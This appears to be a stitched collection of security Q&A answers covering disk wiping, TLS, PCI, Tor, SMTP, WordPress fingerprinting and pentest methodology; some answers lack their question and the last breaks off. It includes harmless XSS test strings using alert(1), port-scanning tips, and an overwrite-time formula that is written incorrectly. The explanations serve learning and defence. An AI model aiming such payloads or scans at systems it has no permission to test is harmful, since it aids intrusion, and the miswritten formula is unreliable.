Are files deleted before encrypting then formatted able to be retrieved?

Generally speaking, most but not all of the previously unencrypted data will be recoverable if the encryption and formatting process does not involve overwriting every single byte on the underlying storage device or issuing a (properly implemented) ATA Secure Erase command. In the case of non-self-encrypting rotational hard disks, the time cost of a Secure Erase is similar to that of overwriting the entirety of the drive through software; in the case of SSDs, or self-encrypting rotational HDDs, the time cost for a Secure Erase may very well be trivial: just discard the encryption key or possibly clear the block mapping tables; the data would still be there and readable in the latter case, but there is no way to figure out which part goes where because it consists of randomly scattered blocks. Also note that many SSDs are self-encrypting under the hood no matter what you do.

A modern rotational HDD can sustain around 100 MB/s in purely sequential write throughput. This means that a 4 TB drive will take about 4 TB * 1,000,000 MB/TB * 100 MB/s = 4,000,000 MB / 100 MB/s ~ 40,000 seconds (about 11 hours) to complete a single full overwrite pass (overwriting large swatches of storage to wipe it is one of the few reasonably common truly sequential workloads). The sustainable write speed scales roughly with rotational speed, so a 10k rpm or 15k rpm server drive will be able to sustain a higher write rate than a 5400 rpm laptop drive. Time to completion obviously scales directly with storage capacity and achievable write throughput. SSDs are much faster but still have finite write speeds, and for large SSDs, the time needed just may be sufficient to somewhat accurately judge what happened.

Assuming you are using a rotational drive and that the formatting process took significantly less than 2½-3 hours per TB of storage, it is reasonable to expect (likely significant amounts of) data remanence.

According to Microsoft KB941961 Change in the behavior of the format command in Windows Vista and later versions, in Windows Vista and newer (that currently means Windows Vista, Windows 7, Windows 8 and Windows 10, and very likely the corresponding server releases as well) by default formatting does do a single full overwrite pass of the partition being formatted; the old, pre-Vista behavior of simply writing new file system metadata is now referred to as the quick format mode. (Hat tip to TTT for pointing this out.) However, I am not sure whether this is really relevant in the case of using TrueCrypt, so would prefer to err on the side of caution. The time the formatting took (for a rotational drive, did the formatting take around one second per 100 MB of storage?) can be used to infer whether an overwrite has likely been performed.

In the situation described, it seems relatively likely that common off-the-shelf data recovery software will be able to recover significant amounts of previously stored, unencrypted data. Some of it will have been overwritten and thus not be recoverable, but much may be relatively easily recoverable using just software solutions.

To protect against this for data that has been stored unencrypted, you need to do at least one full overwrite pass over the whole device that will hold the encrypted data (the container backing device, in LUKS parlace) before you start using it for that purpose. It's your choice whether to overwrite with just a fixed pattern, or random data; remember that a fixed pattern encrypted with a throwaway key and a good encryption algorithm becomes random data. Overwriting with a fixed unencrypted pattern may reveal metadata such as amount of data stored and its location on disk (which can be used to infer e.g. file system, which in turn in principle can provide known plaintexts).

Unless you are a nation-state actor, a single overwrite pass is almost certainly enough with modern drives, and if you are a nation-state actor, you would have access to better people to ask for advice than random strangers on the Internet.


Is Firefox nightly good for security and privacy?

IMO, it's a trade-off only you can assess. As you said, it's probable that Nightly is ahead of stable regarding new security-related technologies. However, those new features are not as tested as the features in stable, so actually they might cause more harm than benefit.

Would you risk a stable browser for a less-tested more error-prone browser just to use the latest technologies? It's up to you.


You can run Anti-Virus Scan on them. In simplest scenario, you could use free clamav antivirus. You can also use commercial scanners with file server license or something similar. This would give you maximum flexibility as well low false-positive ratio.

Also, you can sanitize files like they propose on OWASP.

According to this, you can search for OLE objects in Office Documents, embedded files in PDF, and I think both can produce false positives.

Regarding images they propose you use graphics library to recreate the image from original data by resizing it slightly.


How to fairly pay out bug bounties without going over budget?

You are the vendor, so you make the rules. Just be clear about them.

  Problem is we only have a limited overall budget and dont want to promise anything we cannot pay.

Then be clear about that. It's not uncommon for programs to do challenges/events where they pay special rewards for e.g. the first N critical reports, or pay extra for the best report submitted in a given time frame. So you could establish your budget as a "reward pot" from which you pay bounties until it's depleted. Or give rewards based on a ranking (e.g. monthly) - best report gets X, second best Y, ... This way you can keep your budget capped. Just make sure you clearly explain your reward scheme and stick to it.

  What is a good practice if two reporters claim the same vulnerability? Do you reward both, do you split the bounty or only reward the first one in this case?

Always only reward the first report. (Double-check that you didn't mix up the timestamps.) Hearing that a report is a dup can be frustrating, but bug hunters know about this risk. Also, it's good practice to CC the reporter of the duplicate on the original, so they get proof that there's indeed an earlier report, and can follow the progress.

Some additional practices I've seen in real-life BBPs:

Start with low bounties and work your way up. You can state in the rules that bounties will be increased after the program's test phase.
If multiple reported bugs share the same root cause, treat and reward them as one.
If you notice many valid reports target the same component, temporarily exclude it from the scope (but still reward the earlier reports!) and conduct a manual audit before moving it back into scope.


If this happens on multiple devices on the same connection then its possible that there is some filtering at the router, at the ISP, or you are using the same AV solution that is also blocking some content. If you are using ad-blockers, or anti-tracking plug-ins on all devices, turn them off and re-try.

If it happens on multiple devices on different connections (office, home, 4G) then it's a little more complex to debug?


Should I disable SSL compression because of CRIME?

Yes, you probably should disable TLS compression on the web server, if you use SSL on a highly security-sensitive site.

For most of your user base, this is not strictly necessary.  Turning off TLS compression in the web server is useful only to protect the small fraction of users who are running older, vulnerable browsers. The only browsers that ever supported TLS compression were Firefox and Chrome. IE, Safari, Opera have never supported it. Firefox and Chrome have disabled TLS compression in their latest versions. Both of them use automatic updates so majority of users will upgrade to patched versions very soon.  Therefore, most users will already be protected, even if you do nothing.

However, there may be some users still using older browser versions that support TLS compression, and thus are vulnerable.  For instance, Ivan Ristić estimates that (as of September 2012) about 7% of visitors to his web site are using an older browser that supports TLS compression and is vulnerable to CRIME.  I expect this number may decrease over time.  Nonetheless, there is probably some benefit to turning off TLS compression in your server: it helps protect those users against the CRIME attack.

My thanks to Andrey Botalov for the reference to Ivan Ristić's estimates about the prevalence of vulnerable browsers.

For details on how to disable SSL compression on your web server, see this blog post from iSEC Partners.


How to defend and attack single database on server?

Only allow connection from localhost if you dont require external connection to your db
Use strong password
Don't create application vulnerable to SQL injection


Whistleblowing, business ethics and credit card data

If your compliance or regulatory body is perceived as PCI, you are incorrect. They make the rules and guidelines, but in this situation it is your companies' acquiring bank (the bank that issued your merchant number and processes your payments).

What is the volume of cardholder data that is being taken off premises or thrown away without shredding? From your description it seems rather low. What level (how many transactions per year) is your company? They will be subject to at least an SAQ (self assessment questionnaire) where the owner is signing his name to abide by the rules of PCI (this is of course if your acquring bank is actually doing anything about PCI and requiring this of your company).

The best thing in my opinion is to make the problem easy to fix. After all, it sounds like purely a procedural / operational problem. If you offer a solution instead of a problem, my guess is that you could get a lot further not only in solving the problem (assuming you are looking to solve it) and perhaps some kudos from your boss (if you care about that).

A cross-cut shredder is about $50. I'm sure you could find a locking cabinet to store cardholder data on hardcopy until it is shredded on craigslist or second-hand for $10-20. It would take about 20 minutes to draft policy for employees not to take cardholder data off premises and to only discard cardholder data in said locking cabinet. The 6+ people seeing the data is not in violation of PCI if they have a need / are authorized to see it.

If you really want to solve the problem, provide a cost-effective solution to your boss along with your concerns.


Why my XSS attack's onerror method not firing?

Judging by how alert(1);" onerror="alert(1); in the src attribute value got underlined I can guess that this is what you injected and that it is parsed as a string (you did not break out of tag value quotes). So there is probably no onerror attribute either, only value of alert(1);" onerror="alert(1); for data-mce-src attribute. To make sure, inspect the source code your browser receives, not some formatted dom representation.


How to determine the make of a router from outside the network

Is it even possible to login into your router if you're not connecting to it from inside your network?

Depends on how the router is configured. Although there is no reason to do this, some routers are still configured to have their administrative interface exposed to the internet by default.

How would they even know what sort of router it is?

Simply go to the router's administrative interface. Usually, the login page will provide enough clues to let you figure out which router it is.


SNORT alert for Trufflehunter SFVRT 3:29312:1

This is Patrick from VRT.  That rule is a "truffle," which means it detects a security incident for which we unfortunately cannot provide additional information due to NDA restrictions.  I would be quite interested if you could share some alert pcaps for this rule so I could let you know if they are indeed malicious or not.  You can either PM me here and I'll give you my direct Sourcefire email address or you can find me on Freenode in #snort as "phoo".

In the mean time, you should investigate the device for a malware infection and watch for any additional suspicious traffic coming from this host.  But please do send me some pcaps as I would love to examine them and either confirm the traffic is malicious or fix the detection.

Thanks,

~Patrick


What are some viable, secure sources of entropy for a CSPRNG?

Fortunately, you don't have to choose. The xor function has the property that if you xor multiple independent source of entropy streams, the resulting output stream is going to have at least the entropy of the stronger source.

Web Crypto CSPRNG (Crypto.getRandomValues()) is all you will need to generate crypto keys. But if you for some reason don't trust the smart people who wrote your browser, you can just xor together the output of Web Crypto with other entropy sources of your choice, say request some random bits from random.org, the URL of some random advertising network, etc. Just mix them all together, it won't harm the entropy level.


If you do not manually specify which ports to scan, nmap will scan the "top 1000" ports, supposedly representing the 1000 most common used ports at some point in time. Some of those ports you have look pretty non-standard, so I wouldn't be surprised if they weren't included in the "top 1000" list.

To specify which ports to scan, use nmap's -p option. It supports comma separated ports and/or ranges. To scan all TCP ports, use -p-, which is shorthand for -p0-65535.


How can the authenticity of releases on GitHub and GitLab be ensured? Can their hashsums change?

GitHub dynamically generates a tar.gz file when a user downloads a source release for a git tag. The hashes for those files are not stable, as they are dependent on the versions of git, tar, and gzip involved. These hashes have changed in the past, which has affected various package repository/build systems.
Source: https://github.com/libgit2/libgit2/issues/4343#issuecomment-328631745
Another issue listing issues from projects bitten by this before: https://github.com/spack/spack/issues/5411
The best way to get verifiable source dumps from GitHub is to clone the repository and check out the commit hash associated with the tag. The next best thing is to have the project generate its own tar.gz files and upload them as release artifacts, but that's a lot of extra work for little return (I'd only recommend it if the project gets a large amount of download traffic).


Your approach to this is...a bit misguided.

You shouldn't need to be crafting packets to replay events from an Apache log. The log is a list of HTTP requests, so use a library that can make proper HTTP requests, like the requests library itself. You don't even have all the information you need to craft these packets anyway-- in the case of POSTs, you don't know what the payload actually was, only where it was sent.

Configure your IDSes to all monitor the same interface. Given a list of URLs/paths, write a script to simply request each one. Then have each IDS dump its output somewhere and see what each detected. You can repeat this process and evaluate or tune rules as needed.


Is a Fernet token's timestamp a security risk?

Knowing the timestamp would help an attacker only if it affects any of the other token parts. If your IV is dependent on the timestamp, then you've failed already. Getting the entropy of the IV from something that is not dependent of the time it was created is the best way to solve this.

On a higher level knowing the creation time of a token could help the attacker choose the token he wants. Say the attacker knows with some accuracy the time of creation of the token he wants, then he can rule out the ones that are not interesting just by looking at the timestamp. If the IV and the encryption used is strong then this advantage is negligible.


Is this a secure way to connect with Tor?

No, it doesn't provide any additional security, and I don't see the point of your friend for suggesting that.

ssh -D 8008 user@127.0.0.1

Connects to your local machine creating a SOCKS proxy on 8008 (the ssh-keygen -b 4096 above is only needed once, and is used for not requesting a passphrase from you)

  And also add Socks4Proxy 127.0.0.1:8008 to /etc/tor/torrc

This makes tor exit through the proxy socks on 8008… which is the same as your own machine, so you gain nothing.

And you additionally need to configure the proxy (either with proxychains or local program configuration) on any application you want to use.

I see two possibilities:

* Your friend got confused and somehow thought that the proxy went in the opposite direction (ie. that it was ssh what connected through the proxy, and that tor listened on `Socks4Proxy` instead of connecting there)
* That instead of `127.0.0.1` (which always refers to your own computer) he meant connecting to a different host (you need a ssh account there). In that case tor would be connecting from that machine ip (as if tor client was running there). That would add one hop if someone «broke tor», although it's possible that you would be as easily found,  by looking which account started those connections.


You are not using a useful risk assessment process, which is why you are having trouble coming up with a measure.

Importance of Inherent Risk

You are combining likelihood and impact with the mitigations (people, controls, policies, etc.). A risk assessment first assesses the risk without mitigations. This gives you your inherent risk. Sometimes you can assume some mitigations in inherent or a constant, so you can use that knowledge in your assessing of inherent risk. But, as you say, you can't assume that you have everything you need to mitigate.

Residual Risk

Your mitigations (people, controls, policies, etc.) reduce that risk level to a new level (hopefully a lower one), called residual risk.

Your assessment process needs to consider the impact of the mitigations carefully so as not to assume that those mitigations are always there.

Policies as Risk Mitigation

Policies are one of those mitigations. You should carefully consider the impact a policy has, or else you have a useless policy (or you copy/pasted it from some source online or an external expert who had ideas one day). So, you should already know the impact of not following a policy.

Risk Communication

You are correct that having the right information is the best thing you can do to improve your security posture and communicating to decision-makers. You need to communicate the gap between:

inherent risk
your current residual risk
your target level of residual risk (a step most people forget about, because, no, you can't and shouldn't get all risks to "green" on a heatmap)

Specific Example

If you do not perform risk assessments on systems, then you have no means of effectively controlling the potential impacts on those systems (the risk assessment is a form of mitigation from the org perspective). So, then, you potentially have no controls against impacts, which means your inherent risks are considered to be your actual risks. Risk assessments on the systems help define how to lower your risks (impacts/likelihoods).


If an application has an XSS vulnerabilty, can we bypass CSRF with referer header?

If there is an XSS vulnerability, the attacker has won. If you can execute arbitrary JavaScript on the victims machine in the target origin, you can do whatever you want - you don't need to bypass any CSRF protection to wreak havoc.

Also, no CSRF protections survive an XSS vulnerability. A referer header check does not help, since the attacker can just send the requests with the injected script, so they will have the right referer. A CSRF token doesn't help either, since it can easily be exfiltrated.

In short, XSS > CSRF.


Backup server categorization in the Open PCI Scoping Toolkit

I can't comment, but can you elaborate on the categorizations? I don't wish to subscribe to the linked toolkit.  If you meet the backup and storage guidelines you need to consider the backed up data in the same context as the original data.  Who can access it from the backup server and storage.  Is the backup encrypted?  Are ACLs maintained?  Is there a large pool of backup admins that can access the backup data that were not privy to the same data in the original location?  It sounds like your question is asking about backup targets.  If you back up PCI and non-PCI data to a common target that target must meet all PCI requirements.  You should be able to use the same backup infrastructure, but partition out your media pools or targets.  You might need to set different policies with different sets of admins and jobs.  You might then be able to share your infrastructure.


Best practice for securing DB passwords for multiple web apps?

There're many tools/systems that you can use for securing production secrets. Many of them will leverage some kind of KMS (key management system) and/or HSM (hardware security modules) to store the master key(s) that can be used by aplications to access secrets in production environments. See some of the great open-source solutions.

For example Lyft's Confidant is a secret management system that stores encrypted payloads in DynamoDB. The master key(s) are managed and access controlled by AWS KMS. HashiCorp Vault is also a solid option (but perhaps the feature set is too comprehensive). It offers similar set of features plus higher-level features such as auto mysql DB credential rotation. You should be able to pick'n choose based on your use cases and production setup.


Depends what you want to achieve. When using "social login" you are delegating user security responsibility to a third party (well, in a way to your user as in most of these authentication sources 2FA is optional).
If you want your service access to be MFA protected, then you should not be even allowing OAuth


Does anyone know how / what this technique is called?

You mention two distinct technologies: an access portal and client isolation.

In comments you say you are not talking about the access portal part, but rather client isolation.

Most consumer and corporate access points and wireless controllers I have touched have this feature.  It is simply built-in to the hardware you are working with, usually a checkbox item.  Often this can take the form of a Virtual Access Point which operates at the data link layer (EDIT: See J Kimball's answer for more on VAP).

If you are running a custom AP you might be able to accomplish this with iptables rules, but I can't really speak to that effect.


Can be SQL Queries sniffed through the client network adapter?

Unless the established connection between your software and the SQL server is encrypted by your software, then most likely the traffic can be intercepted and viewed using a network traffic analyzer like Wireshark. By default, SQL server runs on TCP port 1433, so if you have the ability to set up a packet capture, those packets would contain your SQL queries.


Is there a way to perform data acquisition on CPU's registers?

Even if no program runs, the OS itself runs. And you can't alter that - neither technically nor forensically.

Furthermore, a modern quad-core CPU can have several hundred CPU registers, most of which are invisible ! This is an optimization: when you're writing a value from a CPU register to cache, it may take a while. By using an invisible register to hold the value for a while, the CPU can continue. But as soon as the value is written, the register can be cleared. So effectively you're dealing with invisible registers that change state even if no program is running - good luck!

Which also gets us to the next problem: the CPU cache is permanently and pretty independently updating itself. It wouldn't be efficient if this would be under program control.

Now what is possible is to dump a program. A typical modern OS can save the full program state, including registers, to a disk file. On Linux this is known as a core file, on Windows as a user mode dump. This capacity was needed anyway because a multi-tasking OS may need to suspend and resume a running process (e.g. when another process is scheduled to run). Obviously, to resume the process, the registers need to be restored. Cache is typically just cleared as it shouldn't affect program correctness anyway, and therefore doesn't end up in dump files either.


Securely using a WiFi network with weak password

It's a pretty awful password, if anybody is trying to break in. A WiFi password brute-forcing tool would almost certainly find it quickly. I certainly wouldn't treat it as Definitely Secure.

On the other hand, the odds that anybody has tried to break in are probably minimal. You (or your roommate) could consult the device table to see who all has connected, but the odds are that nobody has bothered. Most of the time, people don't bother guessing even easy-to-guess passwords; they just go for either totally open networks or ones that are still using documented and consistent passwords.

Hard-resetting the router shouldn't be needed. Changing the password is easy and doesn't usually even require a reboot, much less a complete reset. If you're worried about some malicious actor getting into the device through its WiFi interface and then uploading malicious firmware, a hard reset probably wouldn't even solve that (and also, that's a very unlikely scenario unless the router is so insecure it can be compromised from the Internet through the WAN port).

Sorry your roommate sucks at security. I take it you don't have access to a separate network / Internet connection yourself?


Nessus No host data is available for this scan error

What I'd recommend here is that you configure a custom Nessus profile for this scan.  Set the ports to be scanned to the two you know are open from the nmap scan and remove the "ping the host" checkbox from the scan profile, so that Nessus doesn't think the hosts are down.


TLS - DHE_DSS: How does client know public DSS-server key?

Expanded from comment for closure, although frankly this feels to me rather like the old poser, "who's buried in Grant's Tomb?"

TLDR: the (static) public-key is in the public-key certificate

SSL/TLS uses X.509 certificates for static public-keys, or to be exact: SSL referenced X.509v3, a standard then recently published by what was then CCITT and has since become ITU-T; the RFCs for TLS reference PKIX which is a subset (formally a profile) of X.509v3 defined by a series of RFCs currently headed by rfc5280.

An X.509/PKIX certificate contains info about the public-key of the subject in a data structure prosaically named SubjectPublicKeyInfo defined in 5280 section 4.1 4.1.1.2 and 4.1.2.7 as:

   SubjectPublicKeyInfo  ::=  SEQUENCE  {
        algorithm            AlgorithmIdentifier,
        subjectPublicKey     BIT STRING  }

   AlgorithmIdentifier  ::=  SEQUENCE  {
        algorithm               OBJECT IDENTIFIER,
        parameters              ANY DEFINED BY algorithm OPTIONAL  }

which supports a variety of algorithms by specifying both the algorithm itself and algorithm-dependent parameters, as well as the algorithm-dependent public-key 'wrapped' within a BIT STRING.

SPKI (as I call it) is specified in detail for several algorithms including DSA (imprecisely called DSS in the SSL/TLS ciphersuite and keyexchange names) in rfc3279 section 2.3.2. The 'algorithm' part consists of the OID (Object Identifier) for DSA, and parameters normally consisting of p,q,g as an ASN.1 SEQUENCE of INTEGERs -- with an option to omit these parameters from a certificate if they are 'inherited' from the issuer's CA certificate (an option I've never seen used). The 'subjectPublicKey' part is simply the y value (= g^x mod p) as an ASN.1 INTEGER in the BIT STRING wrapper.

The DSA signature (under the privatekey matching the publickey in the cert) on the DHE values (p,g,y) in the ServerKeyExchange message uses a 'random' value conventionally notated k (not x) to produce a pair of integers r,s which are conveyed (in ASN.1) in that same ServerKeyExchange message. (Technically k need not be random as long as it doesn't repeat for different data; see rfc6979 for a deterministic alternative.)


It depends on the rate of false positives versus true positives. If most of the time the spam detection blocks legitimate users, the second option would hurt them. But I believe that on most systems, the amount of spam comments are larger than false negatives.
I would keep records on how the spam filter classified posts, and compare the false positives with the true positives, and see if the ratio is acceptable. If it is acceptable, don't let spammers know they are blocked so they will not change their methods and will keep being blocked without knowing.


can vulnerabilities be treated differently based on ceratin circumstances?

Well, having a service internal facing only does limit the scope of who can abuse said vulnerability.
(It goes from the whole world to a quite limited subset of users with acces to your intranet)
So just like if an exploit requires a valid admin login or not impacts its severity, so does this.
But you must also consider that xss are initiated from anywhere, so unless you got dedicated tools your browser can become a relay.
But remember that gaining access to your intranet is often easier than you think (it takes 1 compromised device after all), so it’s still the best idea to patch ASAP.


How to completely hide wordpress version number

I don't know all the methods used by WPScan but here is a function that I use to remove some data about the version. Perhaps in conjunction with your other methods it might be a solution.

// remove version info from head and feeds
function generator_version_removal() {
    return '';
}
add_filter('the_generator', 'generator_version_removal');

As was noted in the comments that most attackers won't bother checking, I think this is true. However, for those few who do check, I assume their attack is more sophisticated and you don't want to be caught among the fruit that hanging just low enough to grasp.

As was also noted in the comments, WPScan apparently checks multiple fingerprints and this covers just one. Hopefully, it might be the one you are missing. Perhaps it is just one of many.

My experience with WPScan is limited, but perhaps you can get a more verbose output.

Hope this helps a bit, it is only part of what you are looking for though.

ADDITION: Emoji Update.
There was an Emoji update with version 4.2 (I believe 4.2) that was part of a big security update. I can't seem to find the post about it right now, but I remember something about a security hole that had been around for a while and was finally fixed via some clever use of Emoji. When the update came through and there was so much emphasis about Emoji people wondered why and so it was explained that it was something of a cover for the security update. Long story short: WP 4.2+ has an Emoji update that will let WPScan (and others) know that you are running at least that version.

ADDITION: (2016-07-15) Another plugin I have been using but its main purpose is for speed is called Remove Query Strings From Static Resources. I hadn't remembered this plugin at first but since the default query string appended to JS files is the WordPress version number when no other version is given. With that as the query string for multiple files it would be a dead giveaway to see what WP version you have.


What Linux software can I use to explore entropy of a file?

There is no such thing as "entropy" of a file. The entropy is a characteristic of a process -- for instance, of a process that generates a file. The entropy does not describe what the file contents are; it describes what the file contents could have been. As such, any tool which purports to identify "entropy patterns" is, at best, loosing extremely poor terminology.

That being said, one can still do some heuristics. It so happens that most "real-life data" exhibits a lot of redundancy in its structure; this is what data compression is about. So you may work on the following assumption: data which can be compressed by a non-trivial amount is not data which has already been compressed or encrypted. Indeed:

Compression algorithms strive at identifying and removing redundancies. The result should not be susceptible to further compression; otherwise, this means that the compression algorithm does a poor job.
Encrypted data is supposed to be indistinguishable from randomness (if the encryption algorithm is any good); thus, it has extremely low probability of being compressible.

So you could extract chunks from your file, and compress them (e.g. with gzip), to see if they can be substantially reduced. For instance, this command extracts a 2000-byte chunk from file data.bin (at offset 15000), compresses it, and reports the resulting length:

dd if=data.bin bs=1 skip=15000 count=2000 2>/dev/null | gzip | wc -c

If the resulting value is substantially smaller than 2000, then the chunk, most probably, contains data which is not encrypted or already compressed. For instance, if I use as data file the /usr/bin/gcc-4.8 file (an executable full of code, but not compressed) from my Linux laptop, I get an output length of 1491 bytes for that chunk, which is indeed quite smaller than 2000. If I try on /dev/urandom, I get 2023 bytes.

(These figures get printed on my screen as sequences of characters, that I process with my eyes and brain. This, in my view, qualifies as "graphical".)

Running the command in a loop which extracts various file chunks and compresses them all is left as an exercise to the reader (it is not hard, and if you cannot do that, then chances are that you won't be able to do much with the files anyway; practical data processing requires some programming skills).

Caveat: gzip, like most general-purpose compressors, works on a per-byte basis, and tries to find repeated patterns and biases in usage of byte values. This is known to work poorly on analog data which has been digitized, e.g. audio samples. Compression ratio offered by gzip on WAV files is thus often poor, while the WAV file is still "not compressed" (this page claims to have measured a compressed length of about 92% of the original, though it will depend on the WAV file characteristics).

So don't imagine that the "compress by gzip" test is the ultimate detection method for compressed/encrypted data. Still, that can give good results, provided that the compressed/encrypted chunks you are trying to locate are long enough (you won't find 50-byte chunks that way).


How do pentesters approach a large complex network?

All security tests will have a scope and its this scope that would typically drive the process of the review.

So I'm assuming from the question that you're thinking about a network based review as opposed to a review of a specific application. With this kind of review the starting point is likely to be a set of IP address ranges that are in-scope of the test.  So from that starting point, one approach would be

a) Do a light port scan for common ports (something like the nmap top 1000) across your range

b) Once that's complete kick off more comprehensive scans and at the same time start reviewing the open ports from the initial scan.

c) Do some automated vulnerabilty scanning on the open ports to find low-hanging fruit.

d) Start working through the open ports doing manual review of each one.  How far you take this will very much depend on the time available for the engagement and the number of open ports found.  If you've only got a small number you can afford to go quite deep in trying to attack each port, however if you've got 1000's of open ports and a limited time window, you're probably going to want to automate as much as possible to get coverage.

e) once your comprehensive port scans have completed, review these for less common ports, which could be useful targets.

This is the kind of flow you might expect on a "standard" pen. test, obviously if you're doing something more like a red-team where you want to avoid detection, there would be a lot less automation going on as automated scanning tools tend to be very noisy.


What is the most secured SMTP authentication type?

With SSL/TLS it's okay to use LOGIN / PLAIN.

You should provide SMTP on top of an SSL-encrypted connection. While some schemes from your list (e.g. DIGEST-MD5) can keep a password secure even over an untrusted channel, they won't protect users from a man-in-the-middle attacker tampering with their session. (Commonly, email servers wrap SMTP via direct TLS or a connection upgrade with STARTTLS at the ports 465/587.)

Any SMTP auth type, regardless if you usePLAIN or an advanced method, just provides application level authentication. But what you want is transport level security. After a user is authenticated over SMTP, there will be no automatically encrypted connection. Per the SMTP protocol, commands and emails are exchanged with the server in plain text, allowing a man-in-the-middle attacker to read and modify the communication and inject new commands. That's why you should provide it on top of SSL encryption, just like HTTPS provides HTTP on top of SSL.

The HTTP analogy: If you secure your website with HTTPS, then it doesn't matter that the a login form actually transmits your password as a plain string in the POST body of the HTTP request, because the data transport is SSL-encrypted. Enabling CRAM-MD5 for SMTP is analogous to implementing a challenge-response scheme in Javascript before transmitting login credentials to a website. (You can occasionally see that technique in router interfaces which don't provide HTTPS but it's not very common.)

As for a real-life example, GMail is fine with offering LOGIN / PLAIN authentication (where credentials are sent in plan text) after having established a secure SSL connection:

$ openssl s_client -starttls smtp -connect smtp.gmail.com:587
 ...
250 SMTPUTF8
EHLO foo
250-smtp.gmail.com at your service, [127.0.0.1]
250-SIZE 35882577
250-8BITMIME
250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH
250-ENHANCEDSTATUSCODES
250-PIPELINING
...

(As you can see, they also provide some methods you didn't list, e.g. XOAUTH2 for OAuth2 tokens which might be interesting if you're after passwordless authentication.)


How to rate or review one Java web Application's security

The CVSS rates the risk associated with vulnerabilities found in deployed software. Think of CVSS as a way to score the seriousness of traffic accidents. The Common Weaknesss Enumeration describes the software flaws and bugs that are the root cause of these vulnerabilities. Think of the CWE as analogous to the bad practices (gas tanks exposed to impacts, absence of guard rails, failure to buckle seatbelts) that cause or contribute to traffic risks.

The Common Weakness Scoring System (CWSS) is the scoring system for assessing software flaws and bugs. Given that weaknesses present different risks depending on temproal and environmental factors, DHS and MITRE have developed the Common Weakness Risk Analysis Framework (CWRAF) to give tool makers and enterprises greater flexibility in assessing the significance and priority of software issues and application security.

Other scoring systems include Software Fault Patterns from KDM Analytics and Semantic Templates  from Dr. Robin Ghandi and Dr. Yan Wu at University of Nebraska at Omaha and Bolling Green State University respectively.


Which SAQ form do I use for PCI DSS compliance?

Only a QAS can given you a qualified answer to your question, and it's probably worth a few hours consulting time to make sure you have the right scope, but I can give my view anyway.

So yes if you are inputting credit card data one at time then you need SAQ C VT as you say.

You also would need an SAQ to cover your e-commerce system, a quick search shows you have to host presta shop yourself but Sagepay is PCI compliant. If it's a full page redirect to Sagepay or an iFrame, then SAQ A should apply to you.

I think you can either do them separately or combine them in SAQ D and exclude the non-applicable requirements.

Good luck!


Why is unsanitized output from ajax request bad?

Your first point ("JavaScript from an uncontrolled source (ie attacker) is allowed to insert JavaScript into page.") is a wee bit off. If a page already contains JavaScript from an attacker, the attacker has already won.

A more accurate description of a reflected XSS attack is:

User is navigated to a page that accepts input from the user such that the user unwillingly supplies some of the input.
JavaScript from a controlled source (i.e., the web application developer) takes data from user input an inserts it into the page.
The user input from Step 1 is interpreted as JavaScript (cookies are stolen, etc.).

To provide an example of how your scenario might work, consider a web application that lets users bookmark search results by putting the search term into the query string:
https://my-custom-search-engine.tld/search?term=reflected%20xss

Upon loading the /search page, JavaScript on the page reads the query parameter term and makes an AJAX request. Upon receiving the response, JavaScript on the page reads the search term part of the response object and injects it into the page using a vulnerable method. (See the answer of @dandavis for jQuery's .html, or https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet#Example_Dangerous_HTML_Methods for some other dangerous methods.)

In this example, an attacker would have to trick a user into visiting https://my-custom-search-engine.tld/search?term=<script>alert(1)</script>.


Are most MiTM attacks done to impersonate web sites, or simply decrypt traffic?

Generally the main use for MitM at the moment is for the attacker to impersonate the website to the victim.

The aim being, usually, to get hold of the victim's credentials in order to impersonate them, authenticate correctly to the website and make off with the contents of their bank account, data store, intellectual property etc.

This is done, typically, the way you state in your final paragraph. As far as the victim is concerned, they see their website. This is impersonation.

I'm not sure your collision attack is a likely scenario for impersonation, however faked certs are certainly an avenue to attack.


What you basically need to do is:

Verify that a request is coming from an authenticated user, i.e. a user (or service) that's allowed to use your API; and
Ensure a request isn't altered while in transit, commonly known as a Man-in-the-middle attack.

You could install X.509 certificates on each publisher's web site and use this to authenticate them over a HTTPS connection. This doesn't seem to be commonly done, however.

I recommend doing some research on the OAuth 2.0 standard. It solves both problems, and software libraries exist for most web application frameworks.


What happens during the installation of Ubuntu

Let's solve this problem first:

  don't really know what exactly happens during installation of ubuntu

Then I think you'll understand where you can be attacked.

The BIOS

The BIOS is stored on a flash chip. Typically we say rom on the motherboard but the truth is it's probably stored on an SPI flash rom and you can probably detach and flash it if you like.

Anyway, the CPU (your x86) will have its instruction pointer set to the reset vector on boot. After doing some initial magic, the code at the reset vector will load your BIOS from ROM then boot that.

What does the BIOS do?

The BIOS tries to normalize the system in an expected way such that it can provide a language for applications to speak and get things done in a platform independent way. This seems crazy at such a low level, but is actually the case.

As well as setting the system into a nice state for the rest of execution the BIOS can also talk to hardware. One of the steps it takes here is to look for option ROMs and load these.

Once it is done getting the system ready to boot, it must then decide what to boot. For hard disks, it understands how to parse the master boot record and will load a valid MBR to 0x0:7c00 and quite literally set the instruction pointer to the first instruction and say go. So the MBR is both executable code and a data structure describing the partition. Ahhhhh DOS. Thems was the days!

But you wanted to boot an ISO? No fear. Data disks are described by the el-torito specification, which allows an ISO to optionally contain a boot record with corresponding boot image code. As an aside, if you ever wondered why you can't find the [boot] file you see in 7Zip on the ISO itself, that's because it's kept outside the actual chosen file system of the disc in a different "record".

Anyway, the BIOS loads this too by it's usual put it in memory and set the eip to the start of it method.

Bootloader to kernel

The bootloader's job is to find a kernel and set the environment up in the right way for that kernel, then let the kernel get on with life. In the case of your Ubuntu ISO, this is likely grub which will search the disk for an appropriate, possibly pre-programmed-into-grub vmlinuz kernel - a compressed kernel image. I'll skip this step as it isn't very interesting but suffice to say the bootloader is likely running in protected mode with no paging and the kernel will go from here, probably switch the CPU into long mode (x64) and will certainly start talking to hardware essentially independently of the BIOS.

OK but how do I do something with my kernel?

the Linux kernel doesn't typically boot alone. You should never after all boot alone. Instead there is a ramdisk (initrd) present even on your machine which acts as a kind of temporary root file system providing basic support binaries. All of this is loaded into ram.

For the purposes of your install media, this probably also comprises the right software to set up the system or may even comprise an entire live distribution. When the kernel is ready it will find the "initial process", the first thing created in userland (you've heard of this - sysvinit, upstart, systemd are three examples) and run that. From there... you are in the land youu know.

How do installs function

Very briefly, once the system is up and running there is no reason it cannot read the CD-ROM. There's also no reason said CD-ROM cannot contain a repository of deb or rpm packages. With the right installer code you can partition the target hard disk and install each of those packages into the chroot.

Universally Sneaky Bus

So now you should have a vague feeling of knowing what your Linux install media is doing. Now let's talk USB.

